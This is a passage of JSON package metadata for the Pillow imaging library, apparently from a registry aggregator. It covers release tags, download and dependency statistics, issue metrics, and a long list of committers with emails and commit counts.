_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests"},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests"},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests"},{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-19T22:01:43.930Z","dependent_packages_count":383,"downloads":70113017,"downloads_period":"total","dependent_repos_count":3384,"rankings":{"downloads":null,"dependent_repos_count":0.09483404042924881,"dependent_packages_count":0.13975542800099824,"stargazers_count":2.7701522335912157,"forks_count":2.7651609683054654,"docker_downloads_count":null,"average":1.442475667581732},"purl":"pkg:conda/pillow?repository_url=https://conda-forge.org","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pillow","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pillow","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pillow/dependencies","status":null,"funding_links":["https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-19T20:04:07.682Z","issues_count":859,"pull_requests_count":2671,"avg_time_to_close_issue":12261496.382857142,"avg_time_to_close_pull_request":1548566.9461983105,"issues_closed_count":700,"pull_requests_closed_count":2249,"pull_request_authors_count":167,"issue_authors_count":690,"avg_comments_per_issue":7.09662398137369,"avg_comments_per_pull_request":1.1542493448146762,"merged_pull_requests_count":2032,"bot_issues_count":3,"bot_pull_requests_count":164,"past_year_issues_count":73,"past_year_pull_requests_count":388,"past_year_avg_time_to_close_issue":1211846.0789473683,"past_year_avg_time_to_close_pull_request":837913.4618644068,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":236,"past_year_pull_request_authors_count":62,"past_year_issue_authors_count":60,"past_year_avg_comments_per_issue":4.041095890410959,"past_year_avg_comments_per_pull_request":1.1649484536082475,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":207,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":1750,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":235,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"},{"login":"homm","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"mficzel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mficzel"}],"active_maintainers":[{"login":"radarhere","count":217,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pillow/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pillow/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pillow/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pillow/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pillow/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pillow/codemeta","maintainers":[],"registry":{"name":"conda-forge.org","url":"https://conda-forge.org","ecosystem":"conda","default":false,"packages_count":20636,"maintainers_count":0,"namespaces_count":0,"keywords_count":13549,"github":"conda-forge","metadata":{"kind":"conda-forge","key":"CondaForge","api":"https://conda.anaconda.org","funded_packages_count":2348},"icon_url":"https://github.com/conda-forge.png","created_at":"2022-10-03T15:37:08.743Z","updated_at":"2026-08-23T05:06:09.364Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/namespaces"}}],"commits":{"id":6859,"full_name":"python-pillow/Pillow","default_branch":"main","total_commits":14728,"total_committers":502,"total_bot_commits":244,"total_bot_committers":2,"mean_commits":29.338645418326692,"dds":0.5891499185225422,"past_year_total_commits":769,"past_year_total_committers":31,"past_year_total_bot_commits":55,"past_year_total_bot_committers":2,"past_year_mean_commits":24.806451612903224,"past_year_dds":0.38101430429128735,"last_synced_at":"2026-08-19T20:14:51.538Z","last_synced_commit":"3220acae3f820e81c619a75dfb9104ddfa529cb6","created_at":"2023-03-07T09:43:52.778Z","updated_at":"2026-08-19T20:14:35.944Z","committers":[{"name":"Andrew Murray","email":"radarhere","login":"radarhere","count":6051},{"name":"Hugo","email":"hugovk","login":"hugovk","count":2230},{"name":"wiredfool","email":"eric-github@soroos.net","login":"wiredfool","count":1855},{"name":"Alex Clark","email":"aclark@aclark.net","login":"aclark4life","count":822},{"name":"Alexander","email":"homm86@gmail.com","login":"homm","count":636},{"name":"nulano","email":"nulano@nulano.eu","login":"nulano","count":521},{"name":"Yay295","email":"Yay295@gmail.com","login":"Yay295","count":157},{"name":"Christoph Gohlke","email":"cgohlke@uci.edu","login":"cgohlke","count":152},{"name":"pre-commit-ci[bot]","email":"66853113+pre-commit-ci[bot]","login":"pre-commit-ci[bot]","count":141},{"name":"renovate[bot]","email":"29139614+renovate[bot]","login":"renovate[bot]","count":103},{"name":"Jon Dufresne","email":"jon.dufresne@gmail.com","login":"jdufresne","count":94},{"name":"Aarni Koskela","email":"akx@iki.fi","login":"akx","count":65},{"name":"Matthew Brett","email":"matthew.brett@gmail.com","login":"matthew-brett","count":58},{"name":"Brian Crowell","email":"brian@fluggo.com","login":null,"count":58},{"name":"DWesl","email":"22566757+DWesl","login":"DWesl","count":50},{"name":"David Schmidt","email":"david.schmiddi.86@gmail.com","login":"d-schmidt","count":41},{"name":"Konstantin Kopachev","email":"tenzzor@gmail.com","login":"kkopachev","count":39},{"name":"Steve Johnson","email":"steve@graffitilabs.com","login":null,"count":35},{"name":"Alastair Houghton","email":"alastair@alastairs-place.net","login":"al45tair","count":32},{"name":"Sandro Mani","email":"manisandro@gmail.com","login":"manisandro","count":31},{"name":"Stephen Johnson","email":"steve@steveasleep.com","login":"irskep","count":31},{"name":"Russell Keith-Magee","email":"russell@keith-magee.com","login":"freakboy3742","count":29},{"name":"Josh Ware","email":"josh@joshw.info","login":"joshware","count":25},{"name":"REDxEYE","email":"med45c@gmail.com","login":"REDxEYE","count":25},{"name":"decalage","email":"unknown","login":"unknown","count":25},{"name":"Dvořák Václav","email":"Vaclav.Dvorak@ysoft.com","login":"vashek","count":24},{"name":"Piolie","email":"paulienator@gmail.com","login":"Piolie","count":21},{"name":"Terseus","email":"terseus@gmail.com","login":"Terseus","count":19},{"name":"Jason Douglas","email":"jasond@me.com","login":"jd20","count":18},{"name":"artscoop","email":"artscoop93.info@gmail.com","login":"artscoop","count":18},{"name":"eyedav","email":"88885346+eyedav","login":"eyedav","count":18},{"name":"UrielMaD","email":"urielmd00@gmail.com","login":"UrielMaD","count":18},{"name":"Antony Lee","email":"anntzer.lee@gmail.com","login":"anntzer","count":17},{"name":"Eric W. Brown","email":"feneric@gmail.com","login":"Feneric","count":17},{"name":"Lysandros Nikolaou","email":"lisandrosnik@gmail.com","login":"lysnikolaou","count":17},{"name":"Mickael B","email":"gtmicka@hotmail.fr","login":"jbltx","count":17},{"name":"Oliver Tonnhofer","email":"olt@bogosoft.com","login":"olt","count":16},{"name":"Peter Rowlands","email":"peter@pmrowla.com","login":"pmrowla","count":16},{"name":"Stanislau Tsitsianok","email":"tsmx@tut.by","login":"xtsm","count":16},{"name":"Fahad Al-Saidi","email":"fahad.alsaidi@gmail.com","login":"Fahad-Alsaidi","count":14},{"name":"Max Base","email":"MaxBaseCode@Gmail.Com","login":"BaseMax","count":14},{"name":"Michał Górny","email":"mgorny@gentoo.org","login":"mgorny","count":14},{"name":"Riley Lahd","email":"Riley.Lahd@sjrb.ca","login":"sircinnamon","count":14},{"name":"Benjamin Gilbert","email":"bgilbert@backtick.net","login":"bgilbert","count":12},{"name":"Mikhail Korobov","email":"kmike84@gmail.com","login":"kmike","count":12},{"name":"Sebastian Rittau","email":"srittau@rittau.biz","login":"srittau","count":12},{"name":"rr-","email":"rr-@sakuya.pl","login":"rr-","count":12},{"name":"scaramallion","email":"scaramallion","login":"scaramallion","count":12},{"name":"elejke","email":"german.novikov@phystech.edu","login":null,"count":12},{"name":"Ben Yang","email":"benayang@gmail.com","login":"iwsfutcmd","count":11},{"name":"Marcus Brinkmann","email":"m.brinkmann@semantics.de","login":"lambdafu","count":11},{"name":"Ray Gardner","email":"raygard@gmail.com","login":"raygard","count":11},{"name":"storesource","email":"36395224+storesource","login":"storesource","count":11},{"name":"ZachNagengast","email":"znagengast@gmail.com","login":"ZachNagengast","count":11},{"name":"Esteban Santana Santana","email":"MentalPower@GMail.com","login":"MentalPower","count":10},{"name":"Jerome Leclanche","email":"jerome@leclan.ch","login":"jleclanche","count":10},{"name":"Nicolas Pieuchot","email":"nls.pct@gmail.com","login":"Mibou","count":10},{"name":"Dag Wästberg","email":"dwastberg@gmail.com","login":"dwastberg","count":10},{"name":"mamg22","email":"45301823+mamg22","login":"mamg22","count":9},{"name":"shamsa","email":"shamsahamed59@gmail.com","login":"ShamsaHamed","count":9},{"name":"Miloš Komarčević","email":"miloskomarcevic@aim.com","login":"kmilos","count":9},{"name":"mattip","email":"matti.picus@gmail.com","login":"mattip","count":9},{"name":"navneeth","email":"navneeth.s@gmail.com","login":"navneeth","count":8},{"name":"tsennott","email":"timothy.sennott@gmail.com","login":"tsennott","count":8},{"name":"gofr","email":"32750931+gofr","login":"gofr","count":8},{"name":"Michael Brown","email":"mbrown1413@gmail.com","login":"mbrown1413","count":8},{"name":"Marco De Donno","email":"Marco.DeDonno@unil.ch","login":"mdedonno1337","count":8},{"name":"Jan-Hendrik Müller","email":"44469195+kolibril13","login":"kolibril13","count":8},{"name":"Benoit Pierre","email":"benoit.pierre@gmail.com","login":"benoit-pierre","count":8},{"name":"Alireza Shafaei","email":"a.shafaei@gmail.com","login":"ashafaei","count":8},{"name":"Arjen Nienhuis","email":"a.g.nienhuis@gmail.com","login":"arjennienhuis","count":7},{"name":"Javier Dehesa","email":"javidcf@gmail.com","login":"javidcf","count":7},{"name":"djy0","email":"krivergo3@gmail.com","login":"jiangying000","count":7},{"name":"orlnub123","email":"orlnub123@gmail.com","login":"orlnub123","count":7},{"name":"Luke Granger-Brown","email":"lukegb@google.com","login":"lukegb","count":7},{"name":"Martin Panter","email":"vadmium à gmail·com","login":null,"count":7},{"name":"Glandos","email":"bugs-github@antipoul.fr","login":"Glandos","count":7},{"name":"neiljp (Neil Pilgrim)","email":"github@kepier.clara.net","login":"neiljp","count":6},{"name":"Yngve Mardal Moe","email":"yngve.m.moe@gmail.com","login":"yngvem","count":6},{"name":"Tommy C","email":"tcacollins@gmail.com","login":"comhar","count":6},{"name":"Stephen Arthur","email":"sarth@yelp.com","login":"thebostik","count":6},{"name":"ShadelessFox","email":"yanuari.channel@gmail.com","login":"ShadelessFox","count":6},{"name":"Lars Jørgen Solberg","email":"supersolberg@gmail.com","login":"larsjsol","count":6},{"name":"Joaquín Cuenca Abela","email":"e98cuenc@gmail.com","login":"e98cuenc","count":6},{"name":"Felipe Reyes","email":"freyes@tty.cl","login":"freyes","count":6},{"name":"Erik Soma","email":"stillusingirc@gmail.com","login":"esoma","count":6},{"name":"Björn Pedersen","email":"bjoern.pedersen@frm2.tum.de","login":"bpedersen2","count":6},{"name":"Andreas Florath","email":"andreas@florath.net","login":"florath","count":6},{"name":"Alexey Buzanov","email":"a.buzanov@corp.mail.ru","login":null,"count":6},{"name":"François Boulogne","email":"fboulogne sciunto org","login":null,"count":6},{"name":"Ishant Mrinal Haloi","email":"n3011","login":"n3011","count":6},{"name":"tianyu","email":"liutianyu100@hotmail.com","login":"tianyu139","count":6},{"name":"void4","email":"void4","login":"void4","count":6},{"name":"luphord","email":"luphord@protonmail.com","login":"luphord","count":5},{"name":"TheNooB","email":"noobchannel2706@gmail.com","login":"TheNooB2706","count":5},{"name":"Hamza","email":"m.waqas.hamza@gmail.com","login":"millionhz","count":5},{"name":"rrcgat","email":"rrcgat@gmail.com","login":"rrcgat","count":5},{"name":"yo1995","email":"cht@bupt.edu.cn","login":"yo1995","count":5},{"name":"Yifu Yu","email":"root@jackyyf.com","login":"jackyyf","count":5},{"name":"Tsung-Po Sun","email":"tsungpo.sun@smartnews.com","login":"hrdrq","count":5},{"name":"Thijs Triemstra","email":"info@collab.nl","login":"thijstriemstra","count":5},{"name":"Takeshi KOMIYA","email":"i.tkomiya@gmail.com","login":"tk0miya","count":5},{"name":"Meithal","email":"hurin8888@gmail.com","login":"Meithal","count":5},{"name":"Marcin Jaworski","email":"marcin@jaworski.me","login":"yawor","count":5},{"name":"Fredrik Tolf","email":"fredrik@dolda2000.com","login":"dolda2000","count":5},{"name":"Bryant Mairs","email":"bryant@intelinair.com","login":"mairsbw","count":5},{"name":"Aurélien Ballier","email":"aurelien.ballier@cyclonit.com","login":null,"count":5},{"name":"zwhfly","email":"zwhfly@163.com","login":"zwhfly","count":4},{"name":"tdesvenain","email":"thomas.desvenain@gmail.com","login":"tdesvenain","count":4},{"name":"pirate486743186","email":"okgomdjgbmoij@gmail.com","login":null,"count":4},{"name":"Jayakrishna Menon","email":"jkrshnmenon@gmail.com","login":"jkrshnmenon","count":4},{"name":"Latosha Maltba","email":"latosha-maltba","login":"latosha-maltba","count":4},{"name":"Marc Abramowitz","email":"marc@marc-abramowitz.com","login":"msabramo","count":4},{"name":"Nathanael Gentry","email":"nathanael.gentrydb8@gmail.com","login":"npjg","count":4},{"name":"Nikita Uvarov","email":"uv.nikita@gmail.com","login":"uvNikita","count":4},{"name":"R. Andrew Ohana","email":"andrew.ohana@gmail.com","login":"ohanar","count":4},{"name":"Rolf Eike Beer","email":"eike@sf-mail.de","login":"DerDakon","count":4},{"name":"Tim Graham","email":"timograham@gmail.com","login":"timgraham","count":4},{"name":"Will Badart","email":"badart_william@bah.com","login":"wbadart","count":4},{"name":"chadawagner","email":"chadawagner","login":"chadawagner","count":4},{"name":"gcq","email":"gcquiroga@gmail.com","login":"gcq","count":4},{"name":"linnil1","email":"linnil1.886@gmail.com","login":"linnil1","count":4},{"name":"Charles Law","email":"claw@mct.io","login":null,"count":4},{"name":"Daniel Plakhotich","email":"daniel.plakhotich@gmail.com","login":"danpla","count":4},{"name":"Allen Li","email":"darkfeline@felesatra.moe","login":"darkfeline","count":4},{"name":"Adam J. Stewart","email":"ajstewart426@gmail.com","login":"adamjstewart","count":4},{"name":"ziplantil","email":"magnoboost@gmail.com","login":"ziplantil","count":4},{"name":"Andrew Chen","email":"48723787+chuenchen309","login":"chuenchen309","count":4},{"name":"Michael Hogg","email":"michael.christopher.hogg@gmail.com","login":"mhogg","count":3},{"name":"NafisFaysal","email":"mirzanafisfaysal@gmail.com","login":"nafisfaysal","count":3},{"name":"Nazime","email":"nazime.lkh@gmail.com","login":"Nazime","count":3},{"name":"Nicolas F","email":"ovdev@fratti.ch","login":"CounterPillow","count":3},{"name":"Pierrick Koch","email":"pierrick.koch@gmail.com","login":"PierrickKoch","count":3},{"name":"Robert Nix","email":"mischanix@gmail.com","login":"robert-nix","count":3},{"name":"Frankie Dintino","email":"fdintino@gmail.com","login":"fdintino","count":3},{"name":"Fran Barba","email":"fran.barba@roiback.com","login":"Darou","count":3},{"name":"Glenn Maynard","email":"glenn@zewt.org","login":"zewt","count":3},{"name":"Eric L Frederich","email":"eric.frederich@siemens.com","login":"ericfrederich","count":3},{"name":"David Walker","email":"d0sboots@gmail.com","login":"d0sboots","count":3},{"name":"Metallicow","email":"metaliobovinus@gmail.com","login":"Metallicow","count":3},{"name":"Matthew Treinish","email":"mtreinish@kortar.org","login":"mtreinish","count":3},{"name":"Kadir Can Ozden","email":"101993364+bysiber","login":"bysiber","count":3},{"name":"Meng","email":"meng.wang@cispa.de","login":"nevercodecorrect","count":3},{"name":"nu774","email":"honeycomb77@gmail.com","login":"nu774","count":3},{"name":"eliempje","email":"emiel__@hotmail.com","login":"eliempje","count":3},{"name":"anatoly techtonik","email":"techtonik@gmail.com","login":"techtonik","count":3},{"name":"Vytis Banaitis","email":"vytis.banaitis@gmail.com","login":"vytisb","count":3},{"name":"Tanner Davis","email":"tannerdavisr@gmail.com","login":"cholojuanito","count":3},{"name":"Stefan","email":"96178532+stefan6419846","login":"stefan6419846","count":3},{"name":"Sam Mason","email":"sam@samason.uk","login":"smason","count":3},{"name":"Jonah Jeleniewski","email":"cirrasbu@hotmail.com","login":"Cirras","count":3},{"name":"Adian Kozlica","email":"kozlicaadian@gmail.com","login":"AdianKozlica","count":3},{"name":"Thomas Viehmann","email":"tv@beamnet.de","login":"t-vi","count":3},{"name":"Diederik Veeze","email":"d.veeze@zestsoftware.nl","login":null,"count":3},{"name":"Bei Pang","email":"beip@zillowgroup.com","login":null,"count":3},{"name":"David Joy","email":"joy@colorado.edu","login":null,"count":3},{"name":"Jarkko Pöyry","email":"jarkko.poyry@gmail.com","login":"gunjambi","count":3},{"name":"David Nisson","email":"d.m.nisson@gmail.com","login":"dmnisson","count":3},{"name":"Christopher Bruns","email":"cmbruns@rotatingpenguin.com","login":"cmbruns","count":3},{"name":"Ben Rudiak-Gould","email":"benrudiak@gmail.com","login":"benrg","count":3},{"name":"Andriy Orehov","email":"andriyorehov@gmail.com","login":"andriyor","count":3},{"name":"Alexander Piskun","email":"bigcat88@icloud.com","login":"bigcat88","count":3},{"name":"Jan Solanti","email":"jhs@psonet.com","login":"jansol","count":3},{"name":"James Won","email":"me@jwon.me","login":"jwon","count":3},{"name":"Jake Merdich","email":"jake@merdich.com","login":"jmerdich","count":3},{"name":"Hin-Tak Leung","email":"htl10@users.sourceforge.net","login":"HinTak","count":3},{"name":"Anton Vlasenko","email":"anton.vlasenko@tictail.com","login":"Sapphire64","count":3},{"name":"James Zern","email":"jzern@google.com","login":"jzern","count":2},{"name":"Nicola Guerrera","email":"guerrera.nicola@gmail.com","login":"nik012003","count":2},{"name":"Mikhail Iurkov","email":"mikhail.iurkov@uploadcare.com","login":"mikhail-iurkov","count":2},{"name":"panjing","email":"599194993@qq.com","login":"baletu","count":2},{"name":"Melvyn Sopacua","email":"m.r.sopacua@gmail.com","login":"melvyn-sopacua","count":2},{"name":"John Calsbeek","email":"nexuapex@gmail.com","login":"Nexuapex","count":2},{"name":"Joseph Fox-Rabinovitz","email":"madphysicist","login":"madphysicist","count":2},{"name":"Joshua Blum","email":"jblum18@gmail.com","login":"joshblum","count":2},{"name":"Kathryn Davies","email":"19580275+kathryndavies","login":"kathryndavies","count":2},{"name":"Kenny Ostrom","email":"kostrom@imagehawk.com","login":"kostrom","count":2},{"name":"Kirill Kuzminykh","email":"cykooz@gmail.com","login":"Cykooz","count":2},{"name":"Luis G","email":"luis.gg1990@gmail.com","login":"lggomez","count":2},{"name":"Lukasz Kozuchowski","email":"Lukasz.Kozuchowski@gmail.com","login":"replomancer","count":2},{"name":"Lumir Balhar","email":"lbalhar@redhat.com","login":"frenzymadness","count":2},{"name":"Marius Gedminas","email":"marius@gedmin.as","login":"mgedmin","count":2},{"name":"Matt Davis","email":"jiffyclub@gmail.com","login":"jiffyclub","count":2},{"name":"Mike Driscoll","email":"mike@pythonlibrary.org","login":"driscollis","count":2},{"name":"Tom Payne","email":"twpayne@gmail.com","login":"twpayne","count":2},{"name":"Tom Flanagan","email":"tom@zkpq.ca","login":"Knio","count":2},{"name":"Thomas A Caswell","email":"tcaswell@gmail.com","login":"tacaswell","count":2},{"name":"Thayne McCombs","email":"astrothayne@gmail.com","login":"tmccombs","count":2},{"name":"Sitcebelly","email":"rashit.bayazitov.1995@gmail.com","login":"PososikTeam","count":2},{"name":"Shadow_Lu","email":"xshadowlu13@gmail.com","login":"LuShadowX","count":2},{"name":"Sebastian Wallkötter","email":"sebastian@wallkoetter.net","login":"FirefoxMetzger","count":2},{"name":"Roman Inflianskas","email":"infroma@gmail.com","login":"rominf","count":2},{"name":"Roger Baumgartner","email":"rogermarcbaumgartner@hotmail.com","login":"rogermb","count":2},{"name":"Robin Norwood","email":"robin.norwood@gmail.com","login":"robin-norwood","count":2},{"name":"Robin Lewis","email":"gotenxiao@gmail.com","login":"GotenXiao","count":2},{"name":"Ram Rachum","email":"ram@rachum.com","login":"cool-RR","count":2},{"name":"Pietro F. Fontana","email":"cubanpit","login":"cubanpit","count":2},{"name":"Phil Elson","email":"pelson.pub@gmail.com","login":"pelson","count":2},{"name":"Peter van Kampen","email":"pterk@datatailors.com","login":"pterk","count":2},{"name":"Paul Korir","email":"polariseke@gmail.com","login":"polarise","count":2},{"name":"Auto-5","email":"84275465+Auto-5","login":"Auto-5","count":2},{"name":"Axel Huebl","email":"axel.huebl@plasma.ninja","login":"ax3l","count":2},{"name":"Bruno Renié","email":"brutasse@gmail.com","login":"brutasse","count":2},{"name":"Cezar Sa Espinola","email":"cezar.sa@corp.globo.com","login":"cezarsa","count":2},{"name":"Charles Merriam","email":"charles.merriam@gmail.com","login":"merriam","count":2},{"name":"Bryant Mairs","email":"bwmairs@ucsc.edu","login":null,"count":2},{"name":"Angel Nunez Mencias","email":"anunez@anunez-ThinkPad-W510.(none)","login":null,"count":2},{"name":"David McInnis","email":"davidm@eagles.ewu.edu","login":null,"count":2},{"name":"Euan Goddard","email":"euangoddard@2degreesnetwork.com","login":null,"count":2},{"name":"Hasan Yusuf Ahmed","email":"hasahmed@umail.iu.edu","login":null,"count":2},{"name":"Josh Ware","email":"josh.ware@healius.com.au","login":null,"count":2},{"name":"Justin Wilson","email":"Justin.Wilson@dealertrack.com","login":null,"count":2},{"name":"Martin Fergie","email":"martin.fergie@shortbite.com","login":null,"count":2},{"name":"Matt","email":"matt@quru.com","login":null,"count":2},{"name":"Seth VanHeulen","email":"svanheulen@gmail.com","login":null,"count":2},{"name":"Tomasz Jezierski","email":"tjezierski@egnyte.com","login":null,"count":2},{"name":"Yann Diorcet","email":"yann.diorcet@xenocs.com","login":null,"count":2},{"name":"Jakub Kulík","email":"kulikjak@gmail.com","login":"kulikjak","count":2},{"name":"Herb","email":"i@4leaf.me","login":"exherb","count":2},{"name":"George Wilson","email":"georgejameswilson@googlemail.com","login":"wilsonge","count":2},{"name":"George Davaris","email":"george@mixcloud.com","login":"davarisg","count":2},{"name":"Gareth Davidson","email":"gaz@bitplane.net","login":"bitplane","count":2},{"name":"Frank Henigman","email":"fjhenigman@gmail.com","login":"fjhenigman","count":2},{"name":"FangFuxin","email":"38530078+lajiyuan","login":"lajiyuan","count":2},{"name":"Fabio M. Costa","email":"fabiomcosta@gmail.com","login":"fabiomcosta","count":2},{"name":"Evan Miller","email":"emmiller@gmail.com","login":"evanmiller","count":2},{"name":"Eric Buehl","email":"eric.buehl@gmail.com","login":"ericbuehl","count":2},{"name":"Dov Grobgeld","email":"dov.grobgeld@gmail.com","login":"dov","count":2},{"name":"Davide Consalvo","email":"dcdavide40@gmail.com","login":"RedShy","count":2},{"name":"Conchylicultor","email":"epot@google.com","login":"Conchylicultor","count":2},{"name":"Alex Chan","email":"alex@alexwlchan.net","login":"alexwlchan","count":2},{"name":"Andreas Nüßlein","email":"andreas@nuessle.in","login":"andreasnuesslein","count":2},{"name":"Andrew Stromnov","email":"stromnov@gmail.com","login":"stromnov","count":2},{"name":"Antoine Beyeler","email":"abeyeler@ab-ware.com","login":"abey79","count":2},{"name":"root","email":"root@pssbalinfra01.hc.int","login":null,"count":2},{"name":"Pedro Lacerda","email":"pslacerda","login":"pslacerda","count":2},{"name":"Lucy Phipps","email":"landfillbaby69@gmail.com","login":"landfillbaby","count":2},{"name":"Jasper van der Neut - Stulen","email":"jasper@neutstulen.nl","login":"jvanderneutstulen","count":2},{"name":"Blaine Bublitz","email":"blaine.bublitz@gmail.com","login":"phated","count":2},{"name":"Sam Morgan","email":"sam@plugable.com","login":"samamorgan","count":2},{"name":"DSeaStar","email":"172368758@qq.com","login":"DSeaStar","count":2},{"name":"GUO YANKE","email":"hi@yankeguo.com","login":"yankeguo","count":2},{"name":"Rudi Heitbaum","email":"rudi@heitbaum.com","login":"heitbaum","count":2},{"name":"Daniel Garcia Moreno","email":"daniel.garcia@suse.com","login":"danigm","count":2},{"name":"paddywwoof","email":"patrick@eldwick.org.uk","login":"paddywwoof","count":2},{"name":"nyxst4ck","email":"nyxst4ck@gmail.com","login":"nyxst4ck","count":2},{"name":"nopperl","email":"54780682+nopperl","login":"nopperl","count":2},{"name":"mrKazzila","email":"mrkazzila@gmail.com","login":"mrKazzila","count":2},{"name":"kostya0shift","email":"kostya.shift@gmail.com","login":"KostyaEsmukov","count":2},{"name":"Yutao Yuan","email":"infmagic2047reg@outlook.com","login":"infmagic2047","count":2},{"name":"Yoav Weiss","email":"yoav@yoav.ws","login":"yoavweiss","count":2},{"name":"adw1n","email":"adw1n","login":"adw1n","count":2},{"name":"Vladimir","email":"greatvovan@gmail.com","login":"greatvovan","count":2},{"name":"brightpisces","email":"brightpisces@gmail.com","login":"zhyang-liu","count":2},{"name":"Varun Chawla","email":"varun_6april@hotmail.com","login":"veeceey","count":2},{"name":"cartisan","email":"leon@die-genossen.de","login":"cartisan","count":2},{"name":"essarrjay","email":"67799040+essarrjay","login":"essarrjay","count":2},{"name":"etienne","email":"etienne.desautels@gmail.com","login":"etienned","count":2},{"name":"holger","email":"h.trahe@relux.com","login":"holg","count":2},{"name":"johnthagen","email":"johnthagen","login":"johnthagen","count":2},{"name":"k128","email":"kalevtheolive@hotmail.com","login":"k128","count":2},{"name":"kdpenner","email":"kdpenner@gmail.com","login":"kdpenner","count":2},{"name":"kijeong kim","email":"kijeong.kim@gmail.com","login":"kijeong","count":2},{"name":"Tim Gates","email":"tim.gates@iress.com","login":"timgates42","count":1},{"name":"Thomas Köppe","email":"tkoeppe@google.com","login":"tkoeppe","count":1},{"name":"Michal Čihař","email":"michal@cihar.com","login":"nijel","count":1},{"name":"nediamond","email":"nediamond","login":"nediamond","count":1},{"name":"gladiusglad","email":"defoverthought@gmail.com","login":"gladiusglad","count":1},{"name":"Santiago Castro","email":"sacastro@google.com","login":"bryant1410","count":1},{"name":"Sean Upton","email":"sdupton@gmail.com","login":"seanupton","count":1},{"name":"Serotav","email":"132073089+Serotav","login":"Serotav","count":1},{"name":"Simon Andrieux","email":"simon.andrieux@efrei.net","login":"ElinksFr","count":1},{"name":"Simon Law","email":"simon.law@ecometrica.com","login":"sfllaw","count":1},{"name":"Steve Dougherty","email":"steve@asksteved.com","login":"Thynix","count":1},{"name":"axt-one","email":"rwatanabe1623@gmail.com","login":"axt-one","count":1},{"name":"amoibos","email":"amoibos@gmail.com","login":"amoibos","count":1},{"name":"adisbladis","email":"adisbladis@gmail.com","login":"adisbladis","count":1},{"name":"abojja9","email":"abojja@uvic.ca","login":"abojja9","count":1},{"name":"abhi-0203","email":"abhi-0203","login":"abhi-0203","count":1},{"name":"Zhiyuan Ouyang","email":"tiancaioyzy@gmail.com","login":"zhiyuanouyang","count":1},{"name":"Zbigniew Siciarz","email":"antyqjon@gmail.com","login":"zsiciarz","count":1},{"name":"Zandr 